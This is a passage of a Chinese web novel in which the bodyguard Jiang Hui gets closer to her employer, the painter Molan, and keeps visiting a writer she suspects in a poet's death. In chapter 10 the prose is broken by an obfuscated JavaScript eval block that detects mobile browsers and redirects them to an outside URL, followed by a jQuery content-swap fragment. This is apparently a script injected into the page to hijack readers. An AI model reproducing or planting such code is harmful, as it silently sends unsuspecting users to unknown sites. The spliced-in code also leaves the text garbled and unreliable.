帽缘就势启动AR导航,将路况投影在她视野前方。 “雨太大了。” 默蓝和她解释。 与此同时,前方响起了悠扬的音乐声,为观光巴士在大雨中开出一条道。 江洄见车来了,立即去捡地上的伞。 观光巴士雪白的灯光把淋在她们脸上的雨照成了雪。江洄忍不住地去眨眼睛,想把眼睫上的雨珠眨掉。 默蓝静静看着她。 直到快要上车时,他忽然低声对她说:“我不在意他们。” 江洄一时没反应过来,只是茫然地仰头看向他。 “……所以你也不用在意。” 他说着,把她快要掉的兜帽轻轻往下压了压。 8. 八个雇主 观光巴士上一个人都没有。 默蓝选择了靠窗的位置,江洄自然而然坐在他邻座。她一坐下来,就给老管家发了信息,告诉他车还停在展馆外。 老管家很快回复她,说已经和工作人员联系了,不用担心。 【要下车前,请给我发消息,我让智能管家去接您和先生。】 【好的,麻烦您了。】 江洄熄灭屏幕,看向默蓝——默蓝先生的状态似乎不太好,脸色很苍白,眉毛也一直紧蹙着。明明上车前看起来还很正常。 “是晕车吗?”她思索了一下问道。 观光巴士要比寻常的车速慢很多,而且为了尽量绕遍整个二区,还会刻意走一些偏僻的飞行道,难免会颠簸。 默蓝有气无力地低低答应了一声:“嗯。” 他双眼紧闭,已经完全没有心思再去欣赏外面的风景。之前旖旎的氛围也都被观光大巴颠成了他脑袋里昏昏沉沉的浆糊,只是坐着不动,也成了一种痛苦。 迷迷糊糊中,眼前忽然晃过一道黑影。 他挣扎着睁开眼,迷茫地抬头——江洄越过他凑到了窗边。这几乎把他逼到了角落,而她的脸尤其近,耳后落下的一撮碎发就在他鼻尖。 默蓝蓦地僵住。 这时。 车窗外毫无预兆地刮起大风。 夹杂着纷乱的雨珠浇了他一头。 他愣愣地坐着,原本痛苦的面孔也被大雨冲刷成一片空白。只听见江洄的惊呼:“怎么全开了?” 才知道她刚刚按了他旁边的防晕车按钮。 然后观光大巴就变成敞篷的了。 默蓝:“……” 江洄:“……” 她们在一个暴风雨天坐在敞篷车里,雨珠噼里啪啦和冰雹一样砸在头上,梆梆响。 狂风在怒吼,暴雨在倒灌。 车载智能系统在激昂亢奋地演奏交响乐。 ……默蓝镇定自若地安慰她:“没关系,你做得很好。至少我不晕车了。”说着他手微微颤抖地去掏胸前口袋里的手帕。 好不容易颤颤巍巍地掏出来。 下一秒。 大雨倾盆。 手帕瞬间湿了个透,变成焉耷耷的一团。 脸上已经汇成了小溪流,沿着下巴淋成一条线。 他:“……” 沉默之余,他恍惚地感觉自己仿佛变成了没拧紧的水龙头,不停在滴滴答答地漏水。 恰好这时观光大巴突破了鳞次栉比的摩天大楼,一下进入视野更广阔的飞行线。没了建筑物勉强遮挡,雨更是齐刷刷涌了进来。 江洄懊恼不已。 她越过默蓝,拼命按着关闭按钮。 然而毫无反应。 只有车载系统冷冰冰的声音:“尊敬的乘客您好,防晕车模式已开启,请勿重复开关。本模式半小时后将会自动关闭,请耐心等待。” …… 四面八方都在漏雨。 江洄提前穿了雨衣还好,但默蓝已经成了落汤鸡。偏偏工作人员只借了她一件雨衣。 她想把身上的雨衣脱下来给他。 他却虚弱地抓住她的手腕,坚决拒绝:“别担心,我还撑得住。”他的语气比他的力气要强硬得多。 她只好愧疚不已地在敞篷车里打起了伞。 伞撑开的刹那,默蓝久违地感到灵魂的安宁。 头也不痛了。 他冷得不自觉浑身打颤。可江洄已经够自责了,他不想让她陷入更深的内疚,就艰难地控制着自己的身体不要抖,并强作镇定地把湿透的手帕拧干。 水哗啦啦流了一地。 顶着江洄愧疚的注视,他还挤出一道苍白的笑容安慰她:“不要紧,下雨天打伞坐观光巴士也挺有意思的。我还从来没有体验过。” “您不用安慰我,都是我的失误害您全身都湿透了。” 江洄从没出过大岔子,第一次就在这种情况下,实在让她耿耿于怀。 “你不用这样,真的没关系。” 默蓝对着她蔫头耷脑的样子手足无措。 他生疏地哄她,让她高兴点:“你看外面,离清水别墅已经很近了。而且雨似乎变小了。” 说着他就把脸转向窗外。 然后被一阵斜风送来的暴雨迎面痛击。 默蓝:“……” 江洄欲言又止:“……” 她默默把伞朝他那边斜了几分。 默蓝在接二连三的打击下,又忍不住感到了忧伤。这股忧伤甚至有愈演愈烈的趋势,让他隐隐自闭。 观光巴士在两人期待的目光中路过了清水别墅。 ……观光巴士又在两人绝望的目光中离开了清水别墅。 只是路过而已。 还要再兜一个大圈才会回来。 ……江洄实在担心默蓝先生撑不完全程,再一次查询了星网的号码拨给观光巴士的运营公司。 她一开始就老老实实承认了自己的错误,并真诚地表示自己会赔偿。 “只求你们从后台把这个模式关了,”她苦不堪言,“或者就近停靠,让我们直接下车。” 结果对面跟人机一样根本不听她的诉求。 只是热情洋溢地告诉她车有自动清洁模式,不需要她赔偿。以及车内一切设施都有防暴雨性能,是做过安全测试的。 “这并不属于误操作范畴。我们的观光巴士是目前市面上功能最完善最先进的旅游车。无论是暴雨,还是台风,都可以正常在敞篷模式下运行。” “但这项功能一直没有对外公布,恭喜您成为第一个发现彩蛋的乘客!稍候我们将赠送您一个小礼物,请您完成相关问卷后填写个人信息领取。” “祝您旅途愉快!” 江洄顿觉不妙:“等、、等等——” “嘟、嘟、嘟……” 但为时已晚。 通讯挂了。 江洄心如死灰。 默蓝在大雨中摇摇欲坠。 这时正好又路过一块巨幕投影。 上面还是默蓝先生的那段黑白影像。 但江洄已经升不起愤怒了。 凶手还没动手,默蓝先生却已经被她摧残成了暴风雨中即将凋零的脆弱小白花…… 到后来,默蓝先生已经失去了意识。 她只好把他的头放在自己侧肩,又小心翼翼地扶住他的脸,怕他滑下去。 中途,她给老管家提前发了信息。 不知过了多久,半个小时终于熬过去。所有的车窗都自动升起,将狂风暴雨严严实实地封闭在外。车载系统启动了烘干功能,并调升至人体最舒适温度。 等默蓝醒来时,他的外衣和头发已经恢复了干燥清爽。 江洄的侧脸颊正压着他头发。 意识到自己正靠在她肩上,他霎时浑身僵硬。但很快,对着那张沉静的面孔,他紧绷的身体渐渐放松下来。 他望着江洄。 头发被她压得有点痛,脖子一直歪着也很酸。 然而他没有惊醒她。 他一直看着她,剩下的路程都在看她。他望着江洄,终于有种真正坐上了观光巴士的实感。 直到巴士靠站,默蓝忽然觉得其实这一趟路程也没有很久。 江洄在车身稳住的刹那,凭借惯性瞬间清醒。她醒得很突然,打乱了默蓝原本打算喊她的计划。 他的手甚至伸了一半,就尴尬地停在她眼前。 “你醒了?”他把手缩回去,和她解释,“我正要叫你。” 江洄迅速坐稳,并顺手摸了把他的额头:“好像不烫了。” 她顿时长吁一口气。 刚才她看他睡得不安稳,脸微微地泛红,试了下他的额温,感觉有点热。但又不确定是不是她的手太冷。 现在他的面色似乎好多了,嘴唇也不像那会儿白得发紫,看起来柔软有血气。 默蓝慢慢直起身。 “走吧,车已经来接我们了。” 他轻声说道。 江洄这次下车十分小心,将他护得密不透风。上了车,也只有袖口有点湿。 智能管家平稳地载着她们回家。 终于顺利进了家门时,两个人都不由自主松了一口气。连茶都顾不上坐下来喝一口,各自先回房间洗漱,换套干净的衣服。 大约晚饭点才有空坐下来歇会儿。 默蓝下楼时,江洄已经和老管家聊上了。她捧着他最喜欢的红茶,小口小口地啜着,时不时对老管家笑两声。 “展馆那边的车已经取回来了。” “那就好,辛苦您了。” “应该的。” 默蓝在她们一来一回的闲聊中也渐渐放松了眉眼。他默默坐在了江洄旁边,离她不远不近。 江洄注意到他,立即关切地望过来:“您有测过体温吗?” 默蓝先点头,又摇头:“测过了,我没生病。” “太好了。” 江洄总算彻底放下心来。 默蓝望着她,刚想说点什么。 老管家却突然取出一张烫金的邀请函,并出乎意料地搁在了江洄面前。他说:“这是下午那会儿瑞洛斯先生送来的,他只送了一份,说是给您。” “我?” 江洄惊讶地接过,打开看。 名字确实是她的。 “他怎么知道你的名字?他私自调查你了?”默蓝蹙眉。 这个江洄倒是不奇怪。 “或许是他看见了我衣服上的铭牌。”今天去纪念展的每个人都要在胸口别上自己的铭牌,以防一些来历不明的人混进来。 “但他为什么会邀请我?还只邀请了我一个?”她把邀请函合起来,抵在下巴。 开始思索作家的目的。 “离间、收买、坑骗……”默蓝漠然地说,“他无非就是这些手段。” “你要去吗?”他问。 江洄低头看了眼邀请函,指腹摩挲着末尾的那一行小字“阿尔文·瑞洛斯”。 她没说话。 默蓝的内心感到了不安:“你难道要去?他不是个值得结交的朋友,我不会骗你,这更不是我的偏见。他……” 他话说一半戛然而止,只是犹豫地抿着唇。 “他什么?” 江洄顺势探询道。 她怀疑默蓝先生知道什么。 默蓝先生看起来很是纠结——他双手绞在一起,眉毛拧起,总是忧郁的黑色眼睛中沉淀着一些不太美妙的情绪。他的嘴巴紧紧抿成一条线。 江洄都要以为他不打算说,正想着该如何巧妙地从他口中撬出答案时,他却冷不丁开口了。 “我疑心他和西琳的死脱不了干系。” 他说。 江洄心一跳,隐隐感到亢奋。 她克制地、平静地问:“为什么?您有证据吗?” “就是因为我没有实际的证据,所以我没办法说。”他懊恼地低下头,“其实这也只是我的猜测罢了。我觉得他来历不明,而且为人古怪。” “古怪?可在外面他的风评似乎很不错,都说他热情好客,在圈子里很受欢迎。” 真正被说是古怪的,反而是默蓝先生自己。 默蓝先生也很清楚这一点。 他皱眉告诉她:“西琳出事之前,和他走得很近。还经常提及,他承诺会给她写一本以她为主人公的小说,并且保证结局由她自己定。” “西琳女士选定的结局不会就是……” “是的。” 默蓝无言地静默了片刻,才说:“那是她写在一首短诗里的答案,被她亲手交给了瑞洛斯。当时我也在现场。这场聚会散后,第二天,她的那则自杀预告就出现了。” “我刚要和另外两个朋友去探望她,结果她的管家说她病了。她病了两天,第三天,她就死了。死亡的情形被复原得和短诗里的一模一样。” “熟悉她的朋友里大部分人都相信她是真的自杀了。” 他越说,声音越低:“只有我和个别人觉得她是被人杀害,并且杀害她的人即便不是瑞洛斯,也一定和瑞洛斯密不可分。” 江洄: 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“但其实在更早之前他就来了,而那时他甚至对我不熟悉。有一次,我们碰巧在路上遇到,他甚至没有认出我,而只是看了我一眼,就继续和人闲聊。” 江洄托着下巴。 她一下子想到来之前她看到的新闻:“这附近听说都是独居的贵族寡夫。” “其实也不完全都是丧偶的Omega,也有只是离婚的,而且并非只有男性。那不过是新闻故意夺人眼球而贴的标签。” 默蓝顿了一下,说:“譬如第一则预告里死去的那个年轻Omega,他的母亲就住在这里。他平时和他的父亲住。我们两家是旧交,所以我对他们家的情况还算熟悉。” “那天和瑞洛斯先生交谈的,是那个死去的Omega的母亲?” “是。” “一个巧合或许只是巧合,但多个巧合一定存在某种必然。”他恳切地望着江洄,请她再认真考虑。 江洄很久没说话。 机器人的显示屏闪烁着两点红光,无声无息地平移过来,替她们换上热茶。 她突然说:“但我还是要去。” “抱歉,先生。”江洄诚恳地感谢了他刚才那一大段推心置腹的劝说,并告诉他,“我很相信您。但是我觉得仅仅是一次文学沙龙,不会发生什么的。” “况且,我不是贵族,也不属于二区。” “不是说,幕后之人只对二区的贵族感兴趣吗?” 默蓝一怔。 他那双黑色的眼睛凝视着她:“你不该拿这种事冒险。” 但他又说:“不过我没资格说你。” “你去吧。” 他突然就松了口。 然后一个人慢慢地起身上楼。 边走,边低声呢喃:“如果死亡是我的命运,我会坦然拥抱。” 这句话江洄见过,就在他之前的一次采访上。 星河公报一得到第四则预告的消息,便如鬣狗般在他的周围潜伏着,直到强行把他围堵在一次公开场合,逼迫他不得不正面回应。 他当时就是这么回答的。 “默蓝先生会生我的气吗?”江洄回头问老管家。 老管家难得露出无奈的笑容:“先生只是又沉浸在了自己的世界里。” 并安慰她:“他看起来很喜欢您,您不用担心。” “但先生刚才说的确实也有道理,您还是不要相信那个人为妙。”他已经给莫里斯家族发去信息,这样一来,家族的人就知道该从什么方向着手去查这个作家。 然而江洄冲他笑了笑。 她说:“多谢您的提醒,我只是有些好奇而已。” - 翌日下午。 江洄准时抵达作家的花园。 花园被打理得很漂亮,听说是他亲手打理的。不仅没有请园丁,甚至连机器人都没用,纯手工。 江洄走进去时,就听见他的那些朋友们在夸他“亲近自然”“热爱生活”。 轮到江洄。 江洄顶着一众新奇的目光,面不改色赞道:“……颇具浪漫主义气质。” 作家顿时噗哧一声笑出来。 他戴着一副银框眼镜,却并不会让他看起来更疏离冷漠,反而模糊了他眼中的笑,更显得温和好亲近。 “你能来我真是高兴。” 他一开口就是很亲昵的语气,连正式见面的称呼都省了。 于是他那些朋友就爱屋及乌地对她很友善客气,没有因为完全不认识她而冷待她。如果是寻常人,大概这时候已经感到受宠若惊了。 毕竟眼前随便一个人的签名放在星网上都可以拍出高昂的价格。 但江洄只是自然地接话道:“您高兴就好。” 并且望了眼阴沉的天空,反客为主地热情邀请其余人都先进屋:“这天随时要下雨,大家都别站着了。进去坐吧。” 作家笑着看了她一眼,没说什么。 一群人三三两两地进去,进去了江洄才发现里面的装修和陈设与清水别墅差不多。 作家注意到她的视线,笑道:“我之前去过默蓝先生家做客,当时很喜欢那种风格,回来便也重新装潢了一番。” “难怪。”江洄笑着点头。 她跟着作家坐下,就坐在他旁边。 一个人问:“默蓝先生的癔症好些了吗?” “癔症?”她一愣。 “你不知道?”这人比她还惊讶,他说,“默蓝先生有家族遗传的精神病,所以总不喜欢见人,时常一个人把自己关在画室。” “你是在为默蓝先生工作吧?” “是。” “那你要小心了。” 这人微微笑起来:“默蓝先生时常把自己假设的猜想当做现实,然后半真半假地告诉别人。当然,他本意并非如此。他只是有癔症。” “嗳,可怜的默蓝先生。” 他叹了一口气。 “可怜的默蓝先生。” 作家注视着江洄重复道。尽管他玻璃镜片后的眼睛分明在笑。 9. 九个雇主 江洄离开瑞洛斯家时,已经成为了作家的好朋友。 ——至少明面上如此。 临走前,作家还允许她摘了一大束花园里的鲜花。只因为她随口称赞了一句。 她捧着还垂露的鲜花,鼻尖是淡淡的芬芳。就这么一路高兴地走回对面。清水别墅的门没有锁,应该是为她留着。 推开门,智能管家一字不差地重复了老管家给她的留言—— 他被默蓝先生的姐姐莉兰·莫里斯临时召回家中了,大概很晚才能回来。 “请您记得把门锁好,睡觉前再确认一遍先生的情况。” “好的,我记得了。”她问智能管家,“默蓝先生吃过晚饭了吗?” “没有,先生说他不吃,他今天要把之前只上了一半色的画完成,让我不要打扰他。”智能管家一板一眼地回答。 又问她:“您想要吃些什么?” “我也什么都不需要,谢谢你。” 江洄笑吟吟地越过它,抱着鲜花轻快地上楼。却恰好看见机器人端着茶盘从画室里出来。机器人看见她,显示器的红光闪了闪。 江洄与它擦肩而过。 她站定在画室外,试探性敲了敲门。 门开得很快—— 默蓝先生就在门后捡地上的废纸,所以顺手就把门打开了。 看见是江洄,他愣住:“你回来了?” 又看见她手上抱着的花束。 他移开眼神,什么都没问,假装没看见。尽管他的眼睛和嘴唇都做出一番欲言又止的姿态。 江洄笑着和他问了好:“您的画室里有花瓶吗?” 默蓝略微怔忪,就迅速反应过来:“没有,你想要把它们插起来放在房间吗?或许你可以直接回卧室找一找,客房一般都有摆放花瓶。” “是了,露台上就有。我想起来了。” 她高兴地转身就跑,并拜托他:“请稍等一会儿。” 默蓝就真的站在了原地,一动不动等着她。 他眼睁睁看着江洄跑上跑下,然后看着那只盛满秋天的花瓶被高高举到他眼前。江洄期待地问他:“是不是很漂亮?” “是。” 他垂眼轻声答。 “那您喜欢吗?放在画室好不好?”他听见她兴致勃勃地问,“还是您更希望放在卧室?或者书房?” “这是……送给我的?”他慢了一拍才迟疑地问。 难道不是瑞洛斯送给她的吗? 江洄顿时笑起来:“我是个俗人,不懂得欣赏花,也没什么兴趣。只是今天路过瑞洛斯先生家的花园,我记起第一天见面时,您给我念诗的房间里点缀了许多花,露台上更是开满了。” “所以我想,您或许会喜欢。” 她认真地注视着他。 “希望您不要因为我去见瑞洛斯先生而不开心。” …… 默蓝低头怔怔地望着花,每一枝都生机勃勃。 “我没有因为你去……生气。” 江洄见他看着似乎是喜欢的,又往前推了推,示意他接过去。他便慢慢地伸出手,垂眸看了一眼,又一眼。 “颜色很漂亮。”他突然说。 “您发现了?!我特意挑的这几枝,因为它们的颜色最漂亮,搭配起来最融洽。”她为默蓝发现了她的心思而高兴,“也最像您那幅画的配色。” 她说的就是默蓝那幅上了一半色的画。 前面一半上色时,她就在旁边看着,因此记忆犹新。 这一点,默蓝比她还清楚。他对色彩就像江洄对枪一样敏锐。只是他原本还以为不过是个巧合。 “您觉得是巧合?” 江洄的眼睛载着明亮的笑:“但在我这里没有巧合,只有故意为之。” “……是吗?” 他喃喃地望向她。 花香害他昏了头,连她最平常的笑都让他头晕目眩。但他这回没有躲,他的心跳得有多 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“是的,所以Beta的辨识度很低。但您的辨识度很高,至少对我来说是这样。”她坦然地望向他的眼睛,“希望您不要觉得我的话是一种冒犯。” 信息素对某些人而言是很敏感的隐私话题,他们不仅羞于谈论,还认为公开讨论是一种性骚扰。 希望默蓝先生不要误会。 “我当然不会误解你。” 默蓝注视着她。 忽然问:“你之前签的合同是多久?一个月还是两个月?” “两个月。”江洄回答道。她有些疑惑,“为什么突然想起来这个,有什么问题吗?” “因为我希望延长这个期限。”默蓝不自然地移开目光,又逼迫自己重新望向她,“我的意思是说——” “你愿意签一份终身合同吗?” 10. 十个雇主 今天是3025年9月21日。 江洄在正式工作的第二天,收到了一份终身合同。 虽然她肯定不可能签,但这绝对是对她工作的最高肯定。尤其她没有任何相关经验,只有“一颗真诚负责的心”。 ——在保镖协会发给她的基础入职培训中,第一条就是这样写的:一个优秀的保镖,一定要有一颗真诚负责的心。 默蓝先生肯定是看到了她真诚的心。 “谢谢您的肯定。”江洄用一种倍感荣幸的口吻谦虚地感谢了默蓝,然后充满遗憾地婉拒道,“但很抱歉,我暂时还不打算将保镖当成我的终身事业。” 又话锋一转:“当然,不管怎么说,和您相处的日子非常愉快。我非常期待接下来的一个多月……” 她稍顿。 话锋再转:“……但如果您愿意,可以在雇佣期结束后,为我打个五星好评。方便的话,最好能写个长评。也不用太长,三百字就行。” 她不好意思地笑了笑。 即使是她们这行,现在也是要工作留痕的。 默蓝被她一转再转的话说得愣在原地,只记得她拒绝了他。 要说完全没有失落是不可能的,但姑且也在他预料之中。 终身合同的事,他从昨晚就在考虑了,只是打算在一个更正式恰当的场合提出。无奈计划赶不上变化…… 花香实在太浓了。 花的色彩也实在太明艳了。 她又笑得那样动人。 晃得他头晕目眩,比他好不容易收到一副价值连城的古画还要让他心绪不宁。 一切都恰到好处。 以至于他一时头脑发热就脱口而出也显得那么水到渠成。 但也因此,被拒绝都成了理所应当。 他揉了揉又酸又胀的太阳穴,忽然就在她坦诚的拒绝下松了口气:“没关系,我能理解。你还很年轻,而且很优秀。只是给我当保镖,那真是小材大用了。是我考虑不周。” 昨晚他才把她的简历从头到尾仔细看了一遍。 之前他对即将到来的保镖并不抱信任,因此别说简历,甚至连名字都没记住。 他才发现江洄毕业于一区学习院大学部军政系,还是以第一名毕业的,大学实习在一区政府保密部门,评级是A+。 ——除了性别是Beta,可能使她将来有所受限,其余完全是天之骄子的配置。 默蓝辗转反侧一夜,一直到现在都想不明白她怎么会愿意给他这样性格古怪、公众形象并不算好的普通画匠当保镖。 总不能是莫里斯家族给的太多了。 他无奈地自嘲。 然而江洄对人的情绪有种天然的直觉。 她立即敏锐地捕捉到他这点不安,并及时问道:“或许有什么我可以为您解答的?” “不,不用说您。” “不需要对我使用敬称,也不要对我客套。”默蓝请求道,“只把我当成你的一个普通朋友。对我随便一点就好。” “好的,”江洄从善如流,“你想问什么?” “……我看过你的简历。你不应该只是成为一名普通的保镖,但为什么……”他斟酌着问道。 同时格外小心翼翼地观察她的神态,随时准备停下。生怕触及什么隐情,勾起她的伤心事——如果确实存在的话。 画室的门还敞开着。 她们一里一外就隔着一只花瓶站着。 江洄看了眼四周,觉得这不是个合适的谈话环境。 “要不去我房间吧。”她提议道。至少她的房间已经被她从里到外检查了一遍,保证没有任何多余的监听和监视设备,绝对的隐秘和安全。 默蓝没有多心,想也不想就跟着她走了。 但一进房间,他就意识到他和她果然是两种人—— 他几乎走到哪儿,哪儿就堆满了东西,可能是书,也可能是画纸,或者别的什么……总之,一个完全属于他、充满他生活气息与个性的密闭空间。 但江洄的房间几乎没有生活的痕迹。 只有多出的针孔摄像头。 见他看过去,江洄便热心地问他要不要也来一个。“装在楼梯转角,或者房间和卧室,都很方便。型号也很特殊,再厉害的黑客都不能侵入系统。只有本人有权限。” 还有B.F.A可以凭借调查令申请接入。 军部都不行。 “多谢你的好意,暂时我还不需要。”默蓝委婉拒绝。 他总觉得摄像头之后,会有另外的眼睛在注视他。 江洄就没有勉强。 她开始把话引向之前的问题:“你觉得保镖不是一份很好的工作?” “我只是觉得你应该拥有更好的。” “比如呢?” “你是军政系毕业,或许可以去政府和军部。” “军部不会需要一个Beta的,”江洄摊开手,“他们只接受Alpha。再厉害的Beta去了,也只能被排斥在外,最后不得不从事一些边缘工作。” “至于政府——” 她突然笑起来:“确实在我考虑范围内。” “如果不是我临时被介绍了一份更好的工作,大概就会留在我原先实习的部门。” “你是说莫里斯家的这份工作更……好?” 默蓝不确信道。 他疑心自己听错了。 “唔……也可以这么理解吧。” 江洄见他脸庞少有地出现了明显的情绪波动,不由得笑起来。 她巧妙地反问,“你不觉得,让我们的相识成为我人生中第一份工作的开始,是个非常美妙的偶然吗?” …… 默蓝哑然失语。 她总是擅长把平平无奇的句子念得像一句情话。 他在洁白的窗纱下望向迎着光的江洄,突然想道——他或许不该递出那份雇佣合同的。 这个世界上除了雇佣关系,还有一种关系也可以达成终身契约。 但她肯定不会同意。 太早了,对她而言。 她还年轻,刚毕业,甚至没怎么见识过外面的世界。 默蓝垂下眼睑,指尖不自觉捏皱了名贵的纯白蕾丝桌巾。 他如果现在就提出来,一定会被再次拒绝。当然,也有可能她出于好心,看他可怜,没有朋友,姑且表示会考虑——但这会让他不齿于自己的卑鄙。 所以衡量再三。 他说:“我再给你另外开一份工资吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491693|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“莫里斯家族给你的还要经过保镖协会,我记得是要被扣一定份额的。我另外每天给你工资,奖金另算。就当是表示谢意。” “还有你之前说的评价。” 他问:“在哪儿填?三万字可以吗?” “……三万字?” 江洄震惊地睁大了眼。 她心说这都快和她毕业论文差不多长了,她至少还有文献可以追根溯源。默蓝先生才认识她几天,有这么复杂的感情可以写吗?总不能连她几根眼睫毛都写上去。 “这恐怕太多了,表里面装不下这么多字。” 她含蓄道。 默蓝闻言淡淡地笑了:“不要紧,三百填表。三万字我另外写成感谢信寄到你们协会。” ……也是,她都快忘了默蓝先生忧伤的时候都是文思泉涌的。区区三万字,肯定不在话下。 到时候协会肯定二次递呈给政府,政府那边看见她的名字,还是交给B.F.A。 以后评奖评优就容易多了。 江洄感动不已地握住默蓝的手:“如果实在凑不满也可以中间掺点水的。”反正没人会一个字一个字细看。 默蓝摇头,没说什么。 其实他更想为她画一幅画,就连同婚姻登记表一起递给她。 但现在不能。 只能有分寸地站起来,和她告辞:“我先回去了,还有什么事你可以直接打给我终端。我会下楼来见你,你不用每次都辛苦地爬上去。” “可是您的终端平时不都拒接一切消息吗?” “是你,不是您,”默蓝先纠正了她,然后说,“那是他们,你不是他们。” 语气简直和江洄昨天说“我不是别人”如出一辙。 甚至连眼神都如出一辙。 如出一辙地,在专注地望着对方。 几秒后。 他平静地和她告别。 走了一刻钟都不到,江洄终端上就齐刷刷弹出几条消息提醒——默蓝先生发的工资和奖金到账了。 一天抵得上一个月。 江洄顿时惊得给他全退回去了。 结果他直接打过来了。 第一句就轻轻叫了她的名字:“江洄。” 他说:“你这样见外让我有点伤心。” 江洄:“可是……” “他们是不是和你说,我有家族遗传的精神病?” “……是,但您怎么——”江洄被他打了个措手不及,一时间说话的口吻又下意识变得郑重。 “我没有精神病。” 默蓝的嗓音透过终端,有轻微的失真。莫名就让江洄听出来一股失落与黯然。 “你相信我吗?”他问。 “我当然相信。” “既然这样,”那端传来模糊的笑声,“那就把钱收下。以此证明我们的友谊和信任是坚固可靠的。” “但是——” “没有但是。” 默蓝的声音比任何时候都要柔和。 “有精神损失费,就该有精神收益。如果可以,我甚至愿意为你离职后的每一秒付费,只要你愿意偶尔让我去见你一面。” “你知道我总是容易陷入忧伤。”他低低地恳求道,“所以不要拒绝我,江洄。” 11. 十一个雇主 江洄被他说得实在没办法再强硬地拒绝。 于是只能半推半就接受。 但等那一串长长的数字再次打过来时,却从一串零变成了一串九。 与此同时,默蓝给她发了一条消息。 【刚刚你又对我使用了敬词,很抱歉,我要扣你一联币。】 然而这一联币第二天就因为江洄吃早餐时下意识说了“你好”,被增加一百倍返还给她。 “你不能这样,会让人觉得有机可乘的。”江洄提醒他。但凡被当成商机,他不就成了摇钱树?何况默蓝先生还这么好说话。 他含着淡淡的笑,问她:“那你会吗?” “我不会,但我走了以后,你可能还会雇佣其他人。他们或许会。” “那就不必担心。” 默蓝垂下眼:“我不需要多余的人在这个家里,你是个例外。但不会再有第二个例外。我根本不需要保镖。” 他的态度十分冷静并且坚持。 “好吧,祝你好运。”江洄笑了笑,没多话。 吃完早饭,两个人就各自上楼。 江洄坐在卧室的书桌前翻看今早刚送来的邀请函——和上一回比,措辞更加亲昵随意了。俨然是已经自来熟地把她当做自己人。 虽然他心里可能另有打算。 她大致扫了一眼,眼睛没看出什么不对,鼻子却从纸上嗅到了淡淡的雪松味。 不像是信息素的味道,更像是人工香水。 当初诗人死的时候,那枝百合花里的卡片上据说也被洒了雪松味的香水。 江洄忽然就提起了兴趣。 尽管她暂时还不能判断这是作家习惯性喷洒,一时不察造成的巧合,还是有意试探她、以及她背后的默蓝先生。 她把邀请函丢到一旁,站起来走上露台,站定。 对面的花园空荡荡一片,没有人。但门口停了几辆显眼又熟悉的车。 作家的那些朋友已经来了。 江洄又走回房间。 平心而论。 默蓝作为雇主,还是非常省心的。 几乎没有用到她的时候,他基本不外出、也拒绝一切访客,完全不会像许多贵族那样——有无穷无尽的社交与神经质的难缠性格。 以至于江洄可以有更多的精力去思考如何主动出击,而不是仅仅像一只被狡猾老鼠戏弄得只能如无头苍蝇般横冲乱撞的猫。 九点二十分。 她捡起桌上的邀请函,不紧不慢下楼。 九点三十分。 默蓝静静站在卧室的露台上,专注地凝望着对面忽然举起的一把黑伞。 伞下,露出乌黑的发梢。 被风吹得一晃一晃,就像伞下的那张脸,也忽左忽右地四处张望。就是不知道这回又看上了花园里哪枝花。 他笑了下,转身往画室走。 九点三十五分。 提前从客厅的落地窗看见江洄的作家走到门外迎接她。 他示意江洄朝对面二楼的方向望去,并忍俊不禁地调侃道:“默蓝先生果然很厌烦我,对我这么不放心。连这点路都要亲自看着你走完。” 江洄扭头,恰好只看见默蓝先生的背影。 “您想多了,”她转而笑着对作家说,“怎么会是厌烦您?分明只是担心我。” 作家顿时笑得开怀:“你这是提醒我,我甚至不够资格入默蓝先生的眼吗?” “我可没有这个意思。” 她笑眯眯地答。 “我当然相信你不会嘲讽朋友。”作家言笑晏晏地邀请她入内,“走吧,大家就等你了。” “嗯,走吧。” 江洄与他有说有笑地走进屋里。 她几乎呆了一上午。 - 接下来两周,作家每隔两三天就会亲自登门拜访一趟。并且总会带来上等的红茶和烫金的邀请函。 都说伸手不打笑脸人,老管家也渐渐和他熟悉起来。 没多久。 默蓝先生就默许了他的到访,虽然本人从不与他会面。 也因此,他很快就成为清水别墅的熟客,以及默蓝先生身边人——老管家与江洄信任的人。 他一定很得意。 江洄注视他微笑着离去时想道。 这天没多久便下起了大雨。 江洄站在窗边往外看。 楼层很高,她可以看见作家突然急匆匆跑出来举着伞,给花园里美丽的花遮雨,但是风大雨大,他很快撑不住,不得不暂时放下伞,淋着大雨。 真是美丽的风景。 她看去,却觉得有些遗憾,角度偏了点。 但也突然被提醒。 她抬起头,往斜上方看去,不由笑起来。默蓝先生果然就站在那里,正凝视着那边的景色。 说不定很受触动,甚至因此对他有所改观也或许。 江洄笑了两下,又叹一口气。 然后随意找了件外衣披上,飞快打伞跑去。她冒着大雨冲过去,把伞给了作家,自己却在他惊愕中夺过他手里透明的遮雨布,不由分说罩在花圃上,然后整个人被淋透。 却仍旧不忘连声催促他赶紧回去。 “有时候您也应该偶尔依赖一下科技产品,这样至少大雨的时候不需要被淋成落汤鸡。” 忙完了,她被作家邀请到家里。她对着他那张充满歉意的脸,忍不住劝道。 作家那副银框眼镜都被淋湿了,不得不摘下来搁在一旁。 因而露出下面那张只是清秀的脸庞,以及分外漂亮的眼睛。 他的视线雾蒙蒙的,没有焦点,大概是因为近视。所以不得不微微眯起狭长的眼睛看向她:“太对不起了,这次竟然还连累了你。等雨一停,我就装个防护系统。” 他的语气还是一如既往的柔和。 然而对着那双眼睛,他的柔和反而显出莫名的虚伪。 江洄笑了笑,说:“没什么,都是朋友。” 她身上还在断断续续滴水,作家立即自责地表示要借给她自己的衣服。 “不用这么麻烦,我直接回去就行。” “你既然不赶时间,换身衣服在这里等雨停了再走,不好吗?”他亲昵地劝她,“就算是别人,我也会借的。你没来之前,大家还在我家住过呢。所以千万不要和我客气。” 江洄皱眉看了眼湿透的衣服,似乎被他勉强说动了。 她思忖了几秒,说:“不用,我只想借洗衣机。” “也行。”作家笑着将她引进客房。 江洄一进去就立即把门锁死。< 